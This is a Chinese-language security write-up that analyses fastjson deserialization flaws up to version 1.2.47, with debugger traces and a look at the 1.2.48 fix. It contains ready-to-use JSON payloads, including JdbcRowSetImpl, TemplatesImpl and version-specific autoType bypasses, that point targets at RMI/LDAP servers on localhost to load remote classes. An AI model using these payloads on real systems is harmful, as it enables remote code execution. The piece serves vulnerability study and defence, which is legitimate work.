前段時間有師傅來問了我fastjson的問題,雖然知道大概但沒分析過具體鏈,最近有空了正好分析一下fastjson兩個反序列化洞:
- 1.2.22<=version<=1.2.24
- 1.2.25<=version<=1.2.47
簡述與使用
Fastjson是Alibaba開發的Java語言編寫的高性能JSON庫,用於將數據在JSON和Java Object之間互相轉換,提供兩個主要接口JSON.toJSONString和JSON.parseObject/JSON.parse來分別實現序列化和反序列化操作。
本文涉及相關實驗:Fastjson反序列化漏洞) (fastjson於1.2.24版本後增加了反序列化白名單,而在1.2.48以前的版本中,攻擊者可以利用特殊構造的json字符串繞過白名單檢測,成功執行任意命令。)
項目地址:https://github.com/alibaba/fastjson
環境直接maven:
<dependencies>
....
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.22</version>
</dependency>
</dependencies>
首先是關於fastjson的序列化與反序列化過程中會調用到類的get跟set方法,一個自建類:
package org.example;
public class JsonTest {
private int _id;
private String _name;
private String _passwd;
public JsonTest(int _id, String _name, String _passwd) {
this._id = _id;
this._name = _name;
this._passwd = _passwd;
}
public JsonTest() {
}
public int get_id() {
System.out.println("get "+_id);
return _id;
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}
Main:
public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}
運行後得到了如下結果:
[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}
很明顯的在序列化時會調用類中各屬性的get方法,而反序列化時會調用其set方法。
在上述反序列化過程中需要多添加一個class類的參數:JsonTest.class
而fastjson也提供了一種無需指定類的方式,稱爲autotype,而這種autotype正是導致反序列化漏洞的原因。
給序列化過程的函數指定第二個參數:
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
此時能夠得到一個指定了type的json串:
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
再對其反序列化時就無需再指定對應的類了:
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);
當未對@type字段進行完全的安全性驗證,攻擊者可以傳入危險類,從而調用危險類對目標機進行攻擊,接下來分析一下其過程。
反序列化過程
先在JSON.parseObject處下個斷點,跟入看看fastjson的反序列化過程。
首先進入到JSON.class中:
接着進入parse函數中:
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}
使用了默認的解析方式DEFAULT_PARSER_FEATURE去解析我們的json串,繼續跟入:
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}
其構造器中有如下:
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}
其會根據對應的{
或[
去設置token,之後通過scanSymbol來獲取到@type
,並且autotype它還支持如下形式嵌套的串:
[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]
其中對於字符串的還有如下對於雙字節字符的處理:
\u或\x即是unicode或者16進制,而還有其他的如\v等,有師傅做了總結:
\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串讀入之後會變成兩個字符,因此,fastjson會把它轉換會單個字符
\f \F雙字符都會轉成單字符\f
\v雙字符轉成\u000B單字符
\x..四字符16進制數讀取轉成單字符
\u....六字符16進制數讀取轉成單字符
這一個點其實可以用在某些filter的繞過上。
繼續上面的scan,獲取到@type後會繼續獲取到其類名,最後賦值給typeName,此時會進一步調用TypeUtils.loadClass去加載類:
之後會從mappings中嘗試取出class類(mappings中存放的是一些內置類):
如下,取不到後會去使用ClassLoader加載類並且將className和其class類put進mapping中。
接着進行反序列化:
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;
一路跟去會有一個denyList:
這一個list默認情況下只有一個Thread類:
this.denyList = new String[]{"java.lang.Thread"};
最後會去調用到set方法。
1.2.22-1.2.24
這個版本下有兩條利用鏈:JdbcRowSetImpl和Templateslmpl,還有一條BasicDataSource,下面逐一分析。
JdbcRowSetImpl
首先該鏈有兩種利用方式:RMI+JNDI和RMI+LDAP
其中我使用到的是jdk8u66,關於高版本的限制以及繞過方式可以參考:
https://www.freebuf.com/column/207439.html
前面說到反序列化會調用到set方法,而漏洞的產生正是因爲set方法,直接拿payload打一下:
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下斷點:
直接進入到else中直接將datasource設置爲我們傳入的值,再在setAutoCommit中下個斷點:
同樣進入else,關鍵在於這裏的connect調用了lookup:
最後就造成了JNDI注入,LDAP同樣如此,修改一下協議即可。
Templateslmpl
前面的鏈就不跟了,體力活,主要是瞭解其原理,具體可以看看:
https://www.cnblogs.com/afanti/p/10193158.html
https://xz.aliyun.com/t/8979#toc-6
payload我參考的是上面第二個鏈接,此處截取部分方便理解:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
默認的知道以下劃線開頭是private屬性,通過fastjson其實是無法直接賦值的,需要在parse時設置Feature.SupportNonPublicField強制給private屬性賦值,因此這條鏈實際作用不大,不過分析一下鍛鍊一下代碼審計能力。
首先是對於下劃線的處理,在JavaBeanDeserializer#smartMatch中會處理掉下劃線,之後去調用對應的set方法,bytecodes在最後會進行base64解碼,並且bytecode是binary,fastjson中不支持反序列化此類字符串,因此這也是其爲base64字符串的原因,而對於_outputProperties
這一個屬性比較特殊,它調用到的不是set方法而是get方法,因此我着重跟一下它。
因爲在調用set方法時都是經過FieldDeserializer#setValue,因此在此處下個斷點。
跟到下面調用到了getOutputProperties方法是通過invoke,之後就執行命令了:
但method的來源還需要追究一下。
經過不斷debug能夠在ParserConfig的createJavaBeanDeserializer檢測到sortedFieldDeserializers的變化,而sortedFieldDeserializers正是獲取到getOutputProperties的關鍵:
在createJavaBeanDeserializer中調用了JavaBeanInfo#build,一路debug能夠發現獲取一個set方法時是通過如下代碼:
同樣位於build函數下有一段獲取getter的代碼:
其中OutputProperties的getter就是從這裏獲取到,不過這還是無法解除關於爲什麼要獲取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke調用getOutputProperties後,得到的是一個Map類,而隨後會對map調用putAll:
Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}
也就說如果一個json串:
{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
會需要將{"key": "value"}
放入hhhm中,因此需要先調用get來獲取到這一個map以便於後續的賦值。
跟入getOutputProperties->newTransformer->defineTransletClasses,實例化了bytecodes,然後在:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
經過一系列調用最後就到了TEMPOC中執行到RCE:
BasicDataSource
省賽遇到的一道題才知道原來還有這條鏈,先mark下:
http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/
該鏈只能用於Fastjson 1.2.24及更低版本,使用範圍相較於前兩條鏈而言較小,鏈接處文章寫的也很詳細,不做過多敘述。
1.2.25-1.2.45部分繞過
直接拿着原來的鏈打會發現報錯,發現多了一個ParserConfig.checkAutoType方法,在1.2.25中對DefaultJSONParser#parseObject中的TypeUtils.loadClass進行了修復:
//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);
autoTypeSupport默認修改爲false:
需要通過如下方式開啓:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
並且有一個denylist,來過濾掉前面用到的鏈中的類:
部分手動開啓autoType的繞過鏈就不分析了,繞過的點也比較容易看出,具體看https://xz.aliyun.com/t/9052
這部分繞過個人感覺適用於ctf中,不做分析了,下面貼一下payload。
1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
1.2.25-1.2.45
需要目標服務端存在mybatis的jar包,且版本需爲3.x.x系列<3.5.0的版本
payload:
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
這條鏈是通殺的,比較厲害的是其不需要開啓AutoTypeSupport,相對於上面提到的繞過而言利用面廣泛的多,因此着重分析一下。
該鏈在<1.2.32之前,如果開啓了AutoTypeSupport則無法利用,在>1.2.32後五輪是否開啓都可以利用。
payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
前面提到在checkAutoType中有這麼一個if:
if (this.autoTypeSupport || expectClass != null)
因爲autoTypeSupport默認爲false,所以if內的代碼都跳過了,而這條鏈的利用也無需這一個if,跟到後面:
這裏的deserializers.findClass比較關鍵:
此處的this.buckets會發現其內置了很多的類,如:
那麼問題也就是出在這裏,我們目前傳入的類是java.lang.class,而該類正處於這一個buckets中,而deserializers中有一個put方法,正是這一個方法將類放入白名單中從而避過了autotype的限制。
偏一下話題,稍微往前追溯一點能夠找到如下一個初始化deserializers對象的方法:
白名單中的類都在此處。
比較好奇的是此處的class類的作用,在對class類進行反序列化時,其調用鏈如下:
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl
此處的TypeUtils#loadClass在前面分析1.2.22-1.2.24鏈中提到過,其會嘗試從mappings中取出類:
Class<?> clazz = (Class)mappings.get(className);
在取不到時會調用類加載器去加載類,此時就取到了com.sun.rowset.JdbcRowSetImpl
。
之後最致命的操作就是:
mappings.put(className, clazz);
將com.sun.rowset.JdbcRowSetImpl
這一個類放入了mappings中,而在加載b字典中的JdbcRowSetImpl類時,調用到的是:
他會直接從mappings中取類,而前面已經將JdbcRowSetImpl放入mappings中,此時達成了繞過autotype關閉的限制。
開發目的應該是爲了程序運行效率,省去每次都需要去重新加載類的麻煩,但卻因爲class在反序列化時會調用loader將其他類裝載進來導致了繞過名單的後果。
而在1.2.48 修復了這一漏洞,將反序列化class對象時的cache設置爲false:
if (cache) {
mappings.put(className, clazz);
}
此時就不會將class類裝載進緩存中了。